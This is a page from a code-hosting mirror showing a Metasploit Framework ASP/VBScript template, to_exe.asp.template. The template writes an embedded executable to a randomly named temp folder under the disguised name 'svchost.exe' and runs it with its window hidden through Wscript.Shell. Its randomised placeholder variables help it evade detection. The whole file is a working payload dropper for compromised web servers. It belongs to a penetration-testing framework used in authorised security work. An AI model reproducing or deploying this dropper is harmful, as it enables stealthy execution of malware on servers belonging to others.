CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/data/templates/scripts/to_exe.asp.template
Views: 11780
<%% @language="VBScript" %%>
<%% 
	Sub %{var_func}()
		%{var_shellcode}
		Dim %{var_obj}
		Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
		Dim %{var_stream}
		Dim %{var_tempdir}
		Dim %{var_tempexe}
		Dim %{var_basedir}
		Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
		%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
		%{var_obj}.CreateFolder(%{var_basedir})
		%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
		Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe},2,0)
		%{var_stream}.Write %{var_bytes}
		%{var_stream}.Close
		Dim %{var_shell}
		Set %{var_shell} = CreateObject("Wscript.Shell")
		%{var_shell}.run %{var_tempexe}, 0, false
	End Sub

	%{var_func}
%%>